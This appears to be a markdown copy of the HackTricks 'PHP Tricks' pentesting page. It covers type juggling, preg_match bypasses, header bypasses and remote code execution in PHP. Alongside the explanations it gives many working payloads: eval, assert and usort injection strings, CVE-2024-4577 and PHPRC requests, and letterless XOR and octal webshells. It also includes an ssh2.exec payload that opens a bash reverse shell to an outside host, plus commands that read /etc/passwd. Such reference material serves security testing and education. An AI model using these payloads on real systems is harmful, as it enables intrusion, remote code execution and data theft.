overview.md (28642B)
1 --- 2 title: "PHP Tricks" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP Tricks 14 15 ## Common cookie-session locations 16 17 This is also valid for phpMyAdmin cookies. 18 19 Cookies: 20 21 ```text 22 PHPSESSID 23 phpMyAdmin 24 ``` 25 26 Locations: 27 28 ```text 29 /var/lib/php/sessions 30 /var/lib/php5/ 31 /tmp/ 32 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e 33 ``` 34 35 ## Bypassing PHP comparisons 36 37 ### Loose comparisons/Type Juggling ( == ) 38 39 PHP's `==` operator performs type coercion and can produce surprising results. Use `===` when both value and type must match. Exact loose-comparison behavior is version-dependent: PHP 8 changed number-to-non-numeric-string comparisons, so many classic PHP 7 examples no longer evaluate to `true`.<sup>[[16]](#references)</sup> 40 41 PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) 42 43  44 45 [En Php Loose Comparison Type Juggling Owasp (1).Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/EN-PHP-loose-comparison-Type-Juggling-OWASP%20%281%29.pdf) 46 47 Classic cases to test include: 48 49 - `"string" == 0` is `true` through PHP 7 but `false` in PHP 8 because the string is non-numeric.<sup>[[16]](#references)</sup> 50 - Numeric strings can be converted for numeric comparison. Hex-string handling changed across older PHP releases, so verify examples such as `"0xAAAA" == "43690"` against the target version. 51 - Strings matching numeric scientific notation, such as `"0e3264578"`, are numeric zero. A hash consisting of `0e` followed only by digits can therefore compare equal to another numeric-zero string under `==`. Precomputed examples are available at [spaze/hashes](https://github.com/spaze/hashes). 52 - Other classic non-numeric-string-to-zero cases, such as `"X" == 0`, apply to PHP 7 and earlier, not PHP 8.<sup>[[16]](#references)</sup> 53 54 More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)<sup>[[1]](#references)</sup> 55 56 ### **in_array()** 57 58 **Type juggling** also affects `in_array()` by default. Set the third argument to `true` to require strict comparison. As with `==`, the exact result of mixed string/number cases depends on the PHP version: 59 60 ```php 61 $values = array("apple","orange","pear","grape"); 62 var_dump(in_array(0, $values)); 63 //True 64 var_dump(in_array(0, $values, true)); 65 //False 66 ``` 67 68 ### strcmp()/strcasecmp() 69 70 On older PHP versions, code that used `strcmp()` or `strcasecmp()` for authentication and failed to validate input types could sometimes be bypassed by submitting an array (`password[]=`): the function emitted a warning and returned `null`, which loose surrounding logic could mistake for equality. Modern PHP enforces the string parameters and throws `TypeError`, so test this as a legacy behavior and examine how the application handles the exception.<sup>[[17]](#references)</sup> 71 72 ```php 73 if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } 74 // Real Password 75 if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } 76 // Real Password 77 ``` 78 79 The same legacy pattern applies to `strcasecmp()`. 80 81 ### Strict type Juggling 82 83 Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**: 84 85 ```php 86 (int) "1abc" === (int) "1xyz" //This will be true 87 ``` 88 89 ### preg_match(/^.\*/) 90 91 Applications sometimes use **`preg_match()`** to reject input matching a blacklist. This is fragile because regex semantics and error returns can be mishandled. 92 93 #### New line bypass 94 95 Without the `s` modifier, dot (`.`) does not match a newline. Consequently, a pattern anchored with `^` and built around `.*` may inspect only the first line even though `preg_match()` is processing the complete subject. Multiline input can then bypass the intended blacklist. For example: 96 97 ```php 98 $myinput="aaaaaaa 99 11111111"; //Notice the new line 100 echo preg_match("/1/",$myinput); 101 //1 --> In this scenario preg_match find the char "1" 102 echo preg_match("/1.*$/",$myinput); 103 //1 --> In this scenario preg_match find the char "1" 104 echo preg_match("/^.*1/",$myinput); 105 //0 --> In this scenario preg_match DOESN'T find the char "1" 106 echo preg_match("/^.*1.*$/",$myinput); 107 //0 --> In this scenario preg_match DOESN'T find the char "1" 108 ``` 109 110 To bypass this check you could **send the value with new-lines urlencoded** (`%0A`) or if you can send **JSON data**, send it in **several lines**: 111 112 ```php 113 { 114 "cmd": "cat /etc/passwd" 115 } 116 ``` 117 118 Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)<sup>[[2]](#references)</sup> 119 120 #### **Length error bypass** 121 122 (This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\ 123 Some older configurations can make `preg_match()` fail on a very **large input** after reaching PCRE resource limits. This only becomes a bypass if the application treats the `false` error return as equivalent to the integer `0` “no match” result. For example, when blacklisting JSON, test: 124 125 ```bash 126 payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' 127 ``` 128 129 From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)<sup>[[3]](#references)</sup> 130 131 #### ReDoS Bypass 132 133 Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)<sup>[[4]](#references)[[5]](#references)</sup> 134 135 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2826%29.png" alt=""><figcaption></figcaption></figure> 136 137 In short the problem happens because the `preg_*` functions in PHP builds upon the [PCRE library](http://www.pcre.org/). In PCRE certain regular expressions are matched by using a lot of recursive calls, which uses up a lot of stack space. It is possible to set a limit on the amount of recursions allowed, but in PHP this limit [defaults to 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) which is more than fits in the stack. 138 139 [This Stackoverflow thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was also linked in the post where it is talked more in depth about this issue. Our task was now clear:\ 140 **Send an input that would make the regex do 100_000+ recursions, causing SIGSEGV, making the `preg_match()` function return `false` thus making the application think that our input is not malicious, throwing the surprise at the end of the payload something like `{system(<verybadcommand>)}` to get SSTI --> RCE --> flag :)**. 141 142 Well, in regex terms, we're not actually doing 100k "recursions", but instead we're counting "backtracking steps", which as the [PHP documentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) states it defaults to 1_000_000 (1M) in the `pcre.backtrack_limit` variable.\ 143 To reach that, `'X'*500_001` will result in 1 million backtracking steps (500k forward and 500k backwards): 144 145 ```python 146 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" 147 ``` 148 149 ### Type Juggling for PHP obfuscation 150 151 ```php 152 $obfs = "1"; //string "1" 153 $obfs++; //int 2 154 $obfs += 0.2; //float 2.2 155 $obfs = 1 + "7 IGNORE"; //int 8 156 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1 157 $obfs = 3+2 * (TRUE + TRUE); //int 7 158 $obfs .= ""; //string "7" 159 $obfs += ""; //int 7 160 ``` 161 162 ## Execute After Redirect (EAR) 163 164 If PHP is redirecting to another page but no **`die`** or **`exit`** function is **called after the header `Location`** is set, the PHP continues executing and appending the data to the body: 165 166 ```php 167 <?php 168 // In this page the page will be read and the content appended to the body of 169 // the redirect response 170 $page = $_GET['page']; 171 header('Location: /index.php?page=default.html'); 172 readfile($page); 173 ?> 174 ``` 175 176 ## Path Traversal and File Inclusion Exploitation 177 178 Check: 179 180 181 [File Inclusion](/hacktricks/pentesting-web/file-inclusion/overview) 182 183 ## More tricks 184 185 - **register_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code. 186 - The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\ 187 This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). 188 - When you have the **usernames** of the users of the machine. Check the address: **/\~\<USERNAME>** to see if the php directories are activated. 189 - If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).<sup>[[6]](#references)</sup> 190 - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) 191 192 ### password_hash/password_verify 193 194 These functions are typically used to **hash passwords** and **verify** a password against a stored hash.\ 195 PHP supports multiple algorithm constants. `PASSWORD_DEFAULT` currently uses bcrypt but is designed to change over time, while `PASSWORD_BCRYPT` produces `$2y$` hashes. Bcrypt truncates passwords at 72 bytes, so inputs sharing the same first 72 bytes verify against the same bcrypt hash.<sup>[[18]](#references)</sup> 196 197 ```php 198 $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW 199 False 200 201 $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW 202 True 203 ``` 204 205 ### HTTP headers bypass abusing PHP errors 206 207 #### Causing error after setting headers 208 209 As demonstrated in [**this thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19), exceeding PHP input-count limits—for example, more than 1,000 GET or POST parameters or 20 uploaded files under the tested configuration—can interfere with application header-setting logic.<sup>[[7]](#references)</sup> 210 211 Allowing to bypass for example CSP headers being set in codes like: 212 213 ```php 214 <?php 215 header("Content-Security-Policy: default-src 'none';"); 216 if (isset($_GET["xss"])) echo $_GET["xss"]; 217 ``` 218 219 #### Filling a body before setting headers 220 221 If a **PHP page is printing errors and echoing back some input provided by the user**, the user can make the PHP server print back some **content long enough** so when it tries to **add the headers** into the response the server will throw and error.\ 222 In the following scenario the **attacker made the server throw some big errors**, and as you can see in the screen when php tried to **modify the header information, it couldn't** (so for example the CSP header wasn't sent to the user): 223 224  225 226 ## SSRF in PHP functions 227 228 See: 229 230 231 [Php Ssrf](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf) 232 233 ## ssh2.exec stream wrapper RCE 234 When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:<sup>[[8]](#references)</sup> 235 236 ```php 237 $wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : ''; 238 $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r'); 239 ``` 240 241 is enough to execute shell commands over localhost SSH: 242 243 ```http 244 GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201# 245 ``` 246 247 * The credential portion can reuse any leaked system password (e.g., from cracked bcrypt hashes). 248 * The trailing `#` comments out the server-side suffix (`files/<id>.zip`), so only your command runs. 249 * Blind RCE is confirmed by watching for egress with `tcpdump -ni tun0 icmp` or by serving an HTTP canary. 250 251 Swap the command for a reverse shell payload once validated: 252 253 ```http 254 format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'# 255 ``` 256 257 Because everything happens inside the PHP worker, the TCP connection originates from the target and inherits the privileges of the injected account (`yuri`, `eric`, etc.). 258 259 ## Code execution 260 261 **system("ls");**\ 262 **\`ls\`;**\ 263 **shell_exec("ls");** 264 265 [Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/index.html) 266 267 ### **RCE via** **preg_replace()** 268 269 ```php 270 preg_replace(pattern,replace,base) 271 preg_replace("/a/e","phpinfo()","whatever") 272 ``` 273 274 The pattern must match at least once to execute the replacement. The `/e` (`PREG_REPLACE_EVAL`) modifier was deprecated in PHP 5.5 and removed in PHP 7.0, so this is a PHP 5-era technique.<sup>[[19]](#references)</sup> 275 276 ### **RCE via Eval()** 277 278 ```text 279 '.system('uname -a'); $dummy=' 280 '.system('uname -a');# 281 '.system('uname -a');// 282 '.phpinfo().' 283 <?php phpinfo(); ?> 284 ``` 285 286 ### **RCE via Assert()** 287 288 Before PHP 8.0, `assert()` could evaluate a string as PHP code; that behavior was deprecated in PHP 7.2 and removed in PHP 8.0. The following technique therefore applies only to older runtimes where string assertions are enabled.<sup>[[17]](#references)</sup> Usually the user variable is inserted into the middle of an assertion string. For example:\ 289 `assert("strpos($_GET['page']),'..') === false")` --> In this case to get **RCE** you could do: 290 291 ```text 292 ?page=a','NeVeR') === false and system('ls') and strpos('a 293 ``` 294 295 You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed. 296 297 **Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'` 298 299 **Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"` 300 301 ### **RCE via usort()** 302 303 This function sorts an array using a specified callback.\ 304 To abuse this function: 305 306 ```php 307 <?php usort(VALUE, "cmp"); #Being cmp a valid function ?> 308 VALUE: );phpinfo();# 309 310 <?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?> 311 ``` 312 313 ```php 314 <?php 315 function foo($x,$y){ 316 usort(VALUE, "cmp"); 317 }?> 318 VALUE: );}[PHP CODE];# 319 320 <?php 321 function foo($x,$y){ 322 usort();}phpinfo;#, "cmp"); 323 }?> 324 ``` 325 326 You can also use **//** to comment the rest of the code. 327 328 To discover the number of parenthesis that you need to close: 329 330 - `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets. 331 - `?order=id);}//`: we get a **warning**. That seems about right. 332 - `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets. 333 334 ### **RCE via .htaccess** 335 336 If you can upload an Apache **`.htaccess`** file into a directory where overrides are permitted, you may be able to remap an attacker-controlled extension to the PHP handler and execute uploaded code. 337 338 Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells) 339 340 ### RCE via Env Variables 341 342 If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**. 343 344 - [**`LD_PRELOAD`**](../../../linux-hardening/linux-basics/linux-privilege-escalation/index.html#ld_preload-and-ld_library_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work). 345 - **`PHPRC`** : Instructs PHP on **where to locate its configuration file**, usually called `php.ini`. If you can upload your own config file, then, use `PHPRC` to point PHP at it. Add an **`auto_prepend_file`** entry specifying a second uploaded file. This second file contains normal **PHP code, which is then executed** by the PHP runtime before any other code. 346 1. Upload a PHP file containing our shellcode 347 2. Upload a second file, containing an **`auto_prepend_file`** directive instructing the PHP preprocessor to execute the file we uploaded in step 1 348 3. Set the `PHPRC` variable to the file we uploaded in step 2. 349 - Get more info on how to execute this chain [**from the original report**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).<sup>[[9]](#references)</sup> 350 - **PHPRC** - another option 351 - If you **cannot upload files**, you could use in FreeBSD the "file" `/dev/fd/0` which contains the **`stdin`**, being the **body** of the request sent to the `stdin`: 352 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` 353 - Or to get RCE, enable **`allow_url_include`** and prepend a file with **base64 PHP code**: 354 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` 355 - Technique [**from this report**](https://vulncheck.com/blog/juniper-cve-2023-36845).<sup>[[10]](#references)</sup> 356 357 ### XAMPP CGI RCE - CVE-2024-4577 358 359 In affected Windows CGI deployments, the web server parses an HTTP request and constructs arguments for `php-cgi.exe`. The vulnerable character conversion allows option injection, including these directives for loading PHP code from the request body:<sup>[[11]](#references)</sup> 360 361 ```jsx 362 -d allow_url_include=1 -d auto_prepend_file=php://input 363 ``` 364 365 The exploit substitutes byte `0xAD` for `-` before later normalization. See the example from [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):<sup>[[11]](#references)</sup> 366 367 ```jsx 368 POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 369 Host: {{host}} 370 User-Agent: curl/8.3.0 371 Accept: */* 372 Content-Length: 23 373 Content-Type: application/x-www-form-urlencoded 374 Connection: keep-alive 375 376 <?php 377 phpinfo(); 378 ?> 379 380 ``` 381 382 ## PHP Sanitization bypass & Brain Fuck 383 384 [**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) it's possible to find great ideas to generate a brain fuck PHP code with very few chars being allowed.<sup>[[12]](#references)</sup>\ 385 Moreover it's also proposed an interesting way to execute functions that allowed them to bypass several checks: 386 387 ```php 388 (1)->{system($_GET[chr(97)])} 389 ``` 390 391 ## PHP Static analysis 392 393 Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):<sup>[[13]](#references)</sup> 394 395 ```php 396 exec, shell_exec, system, passthru, eval, popen 397 unserialize, include, file_put_contents 398 $_COOKIE | if # Track attacker-controlled sources into conditional or dangerous sinks 399 ``` 400 401 When debugging an authorized PHP application, error display can be enabled in the applicable `php.ini` (for example, `/etc/php5/apache2/php.ini`) with `display_errors = On`; then restart Apache with `sudo systemctl restart apache2`. Do not enable this in production because error output may disclose secrets. 402 403 ### Deobfuscating PHP code 404 405 You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.** 406 407 ## PHP Wrappers & Protocols 408 409 PHP wrappers and protocols can sometimes **bypass application-level read or write restrictions**. For [**more information, see this page**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). 410 411 ## Xdebug unauthenticated RCE 412 413 If **Xdebug** is enabled in `phpinfo()` output, assess whether its remote-debugging configuration is reachable and vulnerable. One historical exploit implementation is [nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit). 414 415 ## Variable variables 416 417 ```php 418 $x = 'Da'; 419 $$x = 'Drums'; 420 421 echo $x; //Da 422 echo $$x; //Drums 423 echo $Da; //Drums 424 echo "${Da}"; //Drums 425 echo "$x ${$x}"; //Da Drums 426 echo "$x ${Da}"; //Da Drums 427 ``` 428 429 ## RCE abusing new $\_GET\["a"]\($\_GET\["b"]) 430 431 If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how: 432 433 434 [Php Rce Abusing Object Creation New Usd Get A Usd Get B](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd-get-a-usd-get-b) 435 436 ## Execute PHP without letters 437 438 [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)<sup>[[14]](#references)</sup> 439 440 ### Using octal 441 442 ```php 443 $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); 444 ``` 445 446 ### **XOR** 447 448 ```php 449 $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source 450 $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd 451 $___=$__; #Could be not needed inside eval 452 $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) 453 ``` 454 455 ### XOR easy shell code 456 457 According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:<sup>[[15]](#references)</sup> 458 459 ```php 460 $_="`{{{"^"?<>/"; // $_ = '_GET'; 461 ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); 462 463 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); 464 ``` 465 466 So, if you can **execute arbitrary PHP without numbers and letters** you can send a request like the following abusing that payload to execute arbitrary PHP: 467 468 ```text 469 POST: /action.php?_=system&__=cat+flag.php 470 Content-Type: application/x-www-form-urlencoded 471 472 comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); 473 ``` 474 475 For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) 476 477 ### XOR Shellcode (inside eval) 478 479 ```bash 480 #!/bin/bash 481 482 if [[ -z $1 ]]; then 483 echo "USAGE: $0 CMD" 484 exit 485 fi 486 487 CMD=$1 488 CODE="\$_='\ 489 ``` 490 491 ```php 492 lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' 493 ``` 494 495 ```php 496 lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" 497 ``` 498 499 ### Perl like 500 501 ```php 502 <?php 503 $_=[]; 504 $_=@"$_"; // $_='Array'; 505 $_=$_['!'=='@']; // $_=$_[0]; 506 $___=$_; // A 507 $__=$_; 508 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 509 $___.=$__; // S 510 $___.=$__; // S 511 $__=$_; 512 $__++;$__++;$__++;$__++; // E 513 $___.=$__; 514 $__=$_; 515 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R 516 $___.=$__; 517 $__=$_; 518 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T 519 $___.=$__; 520 521 $____='_'; 522 $__=$_; 523 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P 524 $____.=$__; 525 $__=$_; 526 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O 527 $____.=$__; 528 $__=$_; 529 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S 530 $____.=$__; 531 $__=$_; 532 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T 533 $____.=$__; 534 535 $_=$$____; 536 $___($_[_]); // ASSERT($_POST[_]); 537 ``` 538 539 ## References 540 541 - [1] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) 542 - [2] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice) 543 - [3] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) 544 - [4] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 545 - [5] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong) 546 - [6] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) 547 - [7] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070) 548 - [8] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html) 549 - [9] [CVE-2023-36844 and Friends: RCE in Juniper Devices](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) 550 - [10] [Fileless Remote Code Execution on Juniper Firewalls](https://vulncheck.com/blog/juniper-cve-2023-36845) 551 - [11] [No Way, PHP Strikes Again! (CVE-2024-4577)](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 552 - [12] [Back to School – Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/) 553 - [13] [HackTheBox - Wall](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be) 554 - [14] [Bypass WAF – PHP Webshell Without Numbers and Letters](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) 555 - [15] [Web challenge – mgp25 blog (PHP XOR shellcode without letters or numbers)](https://mgp25.com/ctf/Web-challenge/) 556 - [16] [PHP 8.0 migration: string-to-number comparison changes](https://www.php.net/manual/en/migration80.incompatible.php#language.types.string.number-comparisons) 557 - [17] [PHP 8.0 backward-incompatible standard-library changes](https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.standard) 558 - [18] [PHP manual: `password_hash`](https://www.php.net/manual/en/function.password-hash.php) 559 - [19] [PHP 7.0 migration: changed functions](https://www.php.net/manual/en/migration70.changed-functions.php)